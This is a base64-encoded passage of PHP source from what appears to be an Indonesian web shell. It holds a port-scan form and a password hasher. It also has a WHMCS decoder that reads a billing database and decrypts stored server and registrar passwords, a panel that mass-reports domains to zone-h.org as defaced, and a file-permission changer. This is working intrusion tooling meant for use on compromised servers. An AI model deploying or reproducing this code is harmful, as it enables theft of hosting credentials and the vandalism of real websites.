DQogICA8L3RyPg0KCTx0cj48dGQ+UG9ydCBlbmQ8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiICBzdHlsZT0id2lkdGg6MjIwcHg7Y29sb3I6IzAwZmYwMDsiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48L3RkPg0KICAgPC90cj48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOiMwMGZmMDAiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPg0KICAgPC90ZD48L2Zvcm0+PC9jZW50ZXI+PC90YWJsZT4nOw0KICAgIH0NCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnaGFzaCcpKQ0KICAgIHsNCiRzdWJtaXQ9ICRfUE9TVFsnZW50ZXInXTsNCmlmIChpc3NldCgkc3VibWl0KSkgew0KJHBhc3MgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107IC8vIHBhc3N3b3JkDQokc2FsdCA9ICd9I2Y0Z2F+ZyU3aGpnNCZqKDdtaz8vIWJqMzBhYi13aT02XjctJF5SOUZ8R0s1SiNFNldUO0lPW0pOJzsgLy8gcmFuZG9tIHN0cmluZw0KJGhhc2ggPSBtZDUoJHBhc3MpOyAvLyBtZDUgaGFzaCAjMQ0KJGhhc2hfbWQ1ID0gbWQ1KCRzYWx0LiRwYXNzKTsgLy8gbWQ1IGhhc2ggd2l0aCBzYWx0ICMyDQokaGFzaF9tZDVfZG91YmxlID0gbWQ1KHNoYTEoJHNhbHQuJHBhc3MpKTsgLy8gbWQ1IGhhc2ggd2l0aCBzYWx0ICYgc2hhMSAjMw0KJGhhc2gxID0gc2hhMSgkcGFzcyk7IC8vIHNoYTEgaGFzaCAjNA0KJGhhc2gxX3NoYTEgPSBzaGExKCRzYWx0LiRwYXNzKTsgLy8gc2hhMSBoYXNoIHdpdGggc2FsdCAjNQ0KJGhhc2gxX3NoYTFfZG91YmxlID0gc2hhMShtZDUoJHNhbHQuJHBhc3MpKTsgLy8gc2hhMSBoYXNoIHdpdGggc2FsdCAmIG1kNSAjNg0KfQ0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PGI+PHRhYmxlIGNsYXNzPXRhYm5ldD4nOw0KZWNobyAnPHRyPjx0aCBjb2xzcGFuPSIyIj5QYXNzd29yZCBIYXNoPC90aD48L2NlbnRlcj48L3RyPic7DQplY2hvICc8dHI+PHRkPjxiPm1hc3VrYW4ga2F0YSB5YW5nIGluZ2luIGRpIGVuY3J5cHQ6PC9iPjwvdGQ+JzsNCmVjaG8gJzx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0icGFzc3dvcmQiIHNpemU9IjQwIiAvPic7DQplY2hvICc8aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiBuYW1lPSJlbnRlciIgdmFsdWU9Imhhc2giIC8+JzsNCmVjaG8gJzwvdGQ+PC90cj48YnI+JzsNCmVjaG8gJzx0cj48dGggY29sc3Bhbj0iMiI+SGFzaWwgSGFzaDwvdGg+PC9jZW50ZXI+PC90cj4nOw0KZWNobyAnPHRyPjx0ZD5PcmlnaW5hbCBQYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kcGFzcy4nPjwvdGQ+PC90cj48YnI+PGJyPic7DQplY2hvICc8dHI+PHRkPk1ENTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaC4nPjwvdGQ+PC90cj48YnI+PGJyPic7DQplY2hvICc8dHI+PHRkPk1ENSB3aXRoIFNhbHQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2hfbWQ1Lic+PC90ZD48L3RyPjxicj48YnI+JzsNCmVjaG8gJzx0cj48dGQ+TUQ1IHdpdGggU2FsdCAmIFNoYTE8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2hfbWQ1X2RvdWJsZS4nPjwvdGQ+PC90cj48YnI+PGJyPic7DQplY2hvICc8dHI+PHRkPlNoYTE8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2gxLic+PC90ZD48L3RyPjxicj48YnI+JzsNCmVjaG8gJzx0cj48dGQ+U2hhMSB3aXRoIFNhbHQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2gxX3NoYTEuJz48L3RkPjwvdHI+PGJyPjxicj4nOw0KZWNobyAnPHRyPjx0ZD5TaGExIHdpdGggU2FsdCAmIE1ENTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaDFfc2hhMV9kb3VibGUuJz48L3RkPjwvdHI+PGJyPjxicj48L3RhYmxlPic7IA0KfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd3aG1jcycpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9d2htY3MiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwDQoNCmZ1bmN0aW9uIGRlY3J5cHQgKCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCkNCnsNCiAgICAka2V5ID0gbWQ1IChtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpKSAuIG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCk7DQogICAgJGhhc2hfa2V5ID0gX2hhc2ggKCRrZXkpOw0KICAgICRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsNCiAgICAkc3RyaW5nID0gYmFzZTY0X2RlY29kZSAoJHN0cmluZyk7DQogICAgJHRtcF9pdiA9IHN1YnN0ciAoJHN0cmluZywgMCwgJGhhc2hfbGVuZ3RoKTsNCiAgICAkc3RyaW5nID0gc3Vic3RyICgkc3RyaW5nLCAkaGFzaF9sZW5ndGgsIHN0cmxlbiAoJHN0cmluZykgLSAkaGFzaF9sZW5ndGgpOw0KICAgICRpdiA9ICRvdXQgPSAnJzsNCiAgICAkYyA9IDA7DQogICAgd2hpbGUgKCRjIDwgJGhhc2hfbGVuZ3RoKQ0KICAgIHsNCiAgICAgICAgJGl2IC49IGNociAob3JkICgkdG1wX2l2WyRjXSkgXiBvcmQgKCRoYXNoX2tleVskY10pKTsNCiAgICAgICAgKyskYzsNCiAgICB9DQogICAgJGtleSA9ICRpdjsNCiAgICAkYyA9IDA7DQogICAgd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkNCiAgICB7DQogICAgICAgIGlmICgoJGMgIT0gMCBBTkQgJGMgJSAkaGFzaF9sZW5ndGggPT0gMCkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0aCkpOw0KICAgICAgICB9DQogICAgICAgICRvdXQgLj0gY2hyIChvcmQgKCRrZXlbJGMgJSAkaGFzaF9sZW5ndGhdKSBeIG9yZCAoJHN0cmluZ1skY10pKTsNCiAgICAgICAgKyskYzsNCiAgICB9DQogICAgcmV0dXJuICRvdXQ7DQp9DQoNCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQ0Kew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMgKCdzaGExJykpDQogICAgew0KICAgICAgICAkaGFzaCA9IHNoYTEgKCRzdHJpbmcpOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICAkaGFzaCA9IG1kNSAoJHN0cmluZyk7DQogICAgfQ0KICAgICRvdXQgPSAnJzsNCiAgICAkYyA9IDA7DQogICAgd2hpbGUgKCRjIDwgc3RybGVuICgkaGFzaCkpDQogICAgew0KICAgICAgICAkb3V0IC49IGNociAoaGV4ZGVjICgkaGFzaFskY10gLiAkaGFzaFskYyArIDFdKSk7DQogICAgICAgICRjICs9IDI7DQogICAgfQ0KICAgIHJldHVybiAkb3V0Ow0KfQ0KDQplY2hvICINCjxicj48Y2VudGVyPjxmb250IHNpemU9JzUnIGNvbG9yPScjMDBmZjAwJz48Yj4tPVsgV0hNQ1MgRGVjb2RlciBdPS08L2I+PC9mb250PjwvY2VudGVyPg0KPGNlbnRlcj4NCjxicj4NCg0KPEZPUk0gYWN0aW9uPScnICBtZXRob2Q9J3Bvc3QnPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZm9ybV9hY3Rpb24nIHZhbHVlPScyJz4NCjxicj4NCjx0YWJsZSBjbGFzcz10YWJuZXQgc3R5bGU9d2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDs+DQo8dHI+PHRoIGNvbHNwYW49Mj5XSE1DUyBEZWNvZGVyPC90aD48L3RyPiANCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J2NvbG9yOiMwMGZmMDA7YmFja2dyb3VuZC1jb2xvcjonIGNsYXNzPSdpbnB1dHonIHNpemU9JzM4JyBuYW1lPSdkYl9ob3N0JyB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+DQo8dHI+PHRkPmRiX3VzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0nY29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kLWNvbG9yOicgY2xhc3M9J2lucHV0eicgc2l6ZT0nMzgnIG5hbWU9J2RiX3VzZXJuYW1lJyB2YWx1ZT0nJz48L3RkPjwvdHI+DQo8dHI+PHRkPmRiX3Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSdjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6JyBjbGFzcz0naW5wdXR6JyBzaXplPSczOCcgbmFtZT0nZGJfcGFzc3dvcmQnIHZhbHVlPScnPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0nY29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kLWNvbG9yOicgY2xhc3M9J2lucHV0eicgc2l6ZT0nMzgnIG5hbWU9J2RiX25hbWUnIHZhbHVlPScnPjwvdGQ+PC90cj4NCjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHN0eWxlPSdjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6JyB0eXBlPSd0ZXh0JyBjbGFzcz0naW5wdXR6JyBzaXplPSczOCcgbmFtZT0nY2NfZW5jcnlwdGlvbl9oYXNoJyB2YWx1ZT0nJz48L3RkPjwvdHI+DQo8dGQ+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgc3R5bGU9J2NvbG9yOiMwMGZmMDA7YmFja2dyb3VuZC1jb2xvcjonICB2YWx1ZT0nU3VibWl0JyBuYW1lPSdTdWJtaXQnPjwvdGQ+DQo8L3RhYmxlPg0KPC9GT1JNPg0KPC9jZW50ZXI+DQoiOw0KDQogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDIgKQ0KIHsNCiAvL2luY2x1ZGUoJGZpbGUpOw0KICRkYl9ob3N0PSgkX1BPU1RbJ2RiX2hvc3QnXSk7DQogJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2RiX3VzZXJuYW1lJ10pOw0KICRkYl9wYXNzd29yZD0oJF9QT1NUWydkYl9wYXNzd29yZCddKTsNCiAkZGJfbmFtZT0oJF9QT1NUWydkYl9uYW1lJ10pOw0KICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOw0KDQoNCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOw0KICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHNlcnZlcnMiKTsNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KJGlwYWRkcmVzcyA9ICR2WydpcGFkZHJlc3MnXTsNCiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOw0KJHR5cGUgPSAkdlsndHlwZSddOw0KJGFjdGl2ZSA9ICR2WydhY3RpdmUnXTsNCiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOw0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+VHlwZTwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SXA8L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7DQoNCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOw0KfQ0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7DQogICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOw0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOw0KZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBjbGFzcz10YWJuZXQgYm9yZGVyPScxJz4iKTsNCmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOw0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQokcmVnaXN0cmFyICAgICA9ICR2WydyZWdpc3RyYXInXTsNCiRzZXR0aW5nID0gJHZbJ3NldHRpbmcnXTsNCiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmlmICgkdmFsdWU9PSIiKSB7DQokdmFsdWU9MDsNCn0NCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+JHJlZ2lzdHJhcjwvdGQ+PHRkPiRzZXR0aW5nPC90ZD48dGQ+JHZhbHVlPC90ZD48L3RyPiIpOw0KfQ0KfQ0KfQ0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3pvbmUnKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXpvbmUiIG1ldGhvZD0icG9zdCI+DQoNCjxicj48YnI+PGNlbnRlcj4NCjwhLS0gWm9uZS1IIC0tPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0nUE9TVCc+PHRhYmxlPjx0YWJsZSBjbGFzcz0ndGFibmV0Jz48dHI+DQo8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzAwMDA7cGFkZGluZy1sZWZ0OjEwcHg7Jz48dHI+PHRyPjx0aCBjb2xzcGFuPSIyIj48aDI+Wm9uZS1IIERlZmFjZXI8L2gyPjwvdGg+PC90cj48L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz48Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIG5hbWU9ImRlZmFjZXIiIHZhbHVlPSJOYW1hIERlZmFjZXIiIC8+DQo8c2VsZWN0IG5hbWU9ImhhY2ttb2RlIiBjbGFzcz0iaW5wdXR6IiA+DQo8b3B0aW9uID4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1QaWxpaCBTYWxhaCBTYXR1LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj5rbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIiA+dW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyIgPmNvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPmJydXRlIGZvcmNlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSIgPnNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3IiA+V2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI5IiA+RlRQIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEyIiA+UlBDIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIiA+U2hhcmVzIG1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiID5TUUwgSW5qZWN0aW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNiIgPlVSTCBQb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTkiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIGJydXRlZm9yY2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiIgPkF0dGFjayBhZ2FpbnN0IGFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMyIgPkFjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQoNCjxzZWxlY3QgbmFtZT0icmVhc29uIiBjbGFzcz0iaW5wdXR6IiA+DQo8b3B0aW9uID4tLS0tLS0tLS0tLS0tUGlsaWggU2FsYWggU2F0dS0tLS0tLS0tLS0tLS0tLTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMSIgPkhlaC4uLmp1c3QgZm9yIGZ1biE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIiID5SZXZlbmdlIGFnYWluc3QgdGhhdCB3ZWJzaXRlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzIiA+UG9saXRpY2FsIHJlYXNvbnM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQiID5BcyBhIGNoYWxsZW5nZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSIgPkkganVzdCB3YW50IHRvIGJlIHRoZSBiZXN0IGRlZmFjZXI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiID5QYXRyaW90aXNtPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3IiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ6b25lIj4NCjxjZW50ZXI+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTsiIG5hbWU9ImRvbWFpbiIgY29scz0iMTE2IiByb3dzPSI5IiBpZD0iZG9tYWlucyI+TGlzdCBPZiBEb21haW5zPC90ZXh0YXJlYT4NCjxiciAvPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIE5vdyAhIiBuYW1lPSJTZW5kTm93VG9ab25lSCIgLz48YnI+PC9jZW50ZXI+PC90YWJsZT4NCjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+DQo8IS0tIEVuZCBPZiBab25lLUggLS0+DQo8L3RkPjwvY2VudGVyPjxicj48YnI+DQoNCjw/cGhwDQplY2hvICc8Y2VudGVyPic7DQoJb2Jfc3RhcnQoKTsNCgkkc3ViID0gZ2V0X2xvYWRlZF9leHRlbnNpb25zKCk7DQoJaWYoIWluX2FycmF5KCJjdXJsIiwgJHN1Yikpe2RpZSgnWy1dIEN1cmwgSXMgTm90IFN1cHBvcnRlZCAhISAnKTt9DQoJJGhhY2tlciA9ICRfUE9TVFsnZGVmYWNlciddOw0KCSRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107DQoJJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsNCgkkc2l0ZSA9ICRfUE9TVFsnZG9tYWluJ107DQoJDQoJaWYgKGVtcHR5KCRoYWNrZXIpKXtkaWUgKCJbLV0gWW91IE11c3QgRmlsbCB0aGUgQXR0YWNrZXIgbmFtZSAhIik7fQ0KCWVsc2VpZigkbWV0aG9kID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikge2RpZSgiWy1dIFlvdSBNdXN0IFNlbGVjdCBUaGUgTWV0aG9kICEiKTt9DQoJZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIHtkaWUoIlstXSBZb3UgTXVzdCBTZWxlY3QgVGhlIFJlYXNvbiIpO30NCgllbHNlaWYoZW1wdHkoJHNpdGUpKSB7ZGllKCJbLV0gWW91IE11c3QgSW50ZXIgdGhlIFNpdGVzIExpc3QgISAiKTt9DQoJJGkgPSAwOw0KCSRzaXRlcyA9IGV4cGxvZGUoIlxuIiwgJHNpdGUpOw0KCXdoaWxlKCRpIDwgY291bnQoJHNpdGVzKSkgDQoJew0KCQlpZihzdWJzdHIoJHNpdGVzWyRpXSwgMCwgNCkgIT0gImh0dHAiKSB7JHNpdGVzWyRpXSA9ICJodHRwOi8vIi4kc2l0ZXNbJGldO30NCgkJWm9uZUgoImh0dHA6Ly96b25lLWgub3JnL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOw0KCQllY2hvICJTaXRlIDogIi4kc2l0ZXNbJGldLiIgRGVmYWNlZCAhXG4iOw0KCQkrKyRpOw0KCX0NCgllY2hvICJbK10gU2VuZGluZyBTaXRlcyBUbyBab25lLUggSGFzIEJlZW4gQ29tcGxldGVkIFN1Y2Nlc3NmdWxseSAhISAiOw0KDQoJZWNobyAnPC9jZW50ZXI+JzsNCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2NobW9kJykpDQp7CQ0KPz4NCg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWNobW9kIiBtZXRob2Q9InBvc3QiPg0KPGJyPjxicj48YnI+PGNlbnRlcj4NCg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iZ2V0Ij4NCjx0YWJsZSBjbGFzcz0idGFibmV0Ij4NCjxmb250IGNvbG9yPSIjMzMzMzMzIj48Yj5DaG1vZCBmaWxlIDogJm5ic3A7Jm5ic3A7ICZuYnNwOyAmbmJzcDsmbmJzcDs8L2I+PC9mb250PiA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgbmFtZT0idGhlZmlsZSIgdmFsdWU9IkZpbGUgTmFtZSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ0aGVmaWxldmFsIiB2YWx1ZT0iMDc3NyIgc3R5bGU9IndpZHRoOjQ0cHgiPg0KPHNwYW4gIHN0eWxlPSJjb2xvcjogIzAwMDAwIDtmb250LWZhbWlseTogVGFob21hLCBHZW5ldmEsIHNhbnMtc2VyaWY7Zm9udC1zaXplOjEycHg7Ij48L3NwYW4+DQo8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9ImNvbW0iPg0KPG9wdGlvbj5jaG1vZDwvb3B0aW9uPg0KPG9wdGlvbj5jaG93bjwvb3B0aW9uPg0KPG9wdGlvbj5jaGdycDwvb3B0aW9uPjxicj4NCjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeHNla3VzaSI+DQo8L3NlbGVjdD48L3RhYmxlPg0KPC9mb3JtPjxicj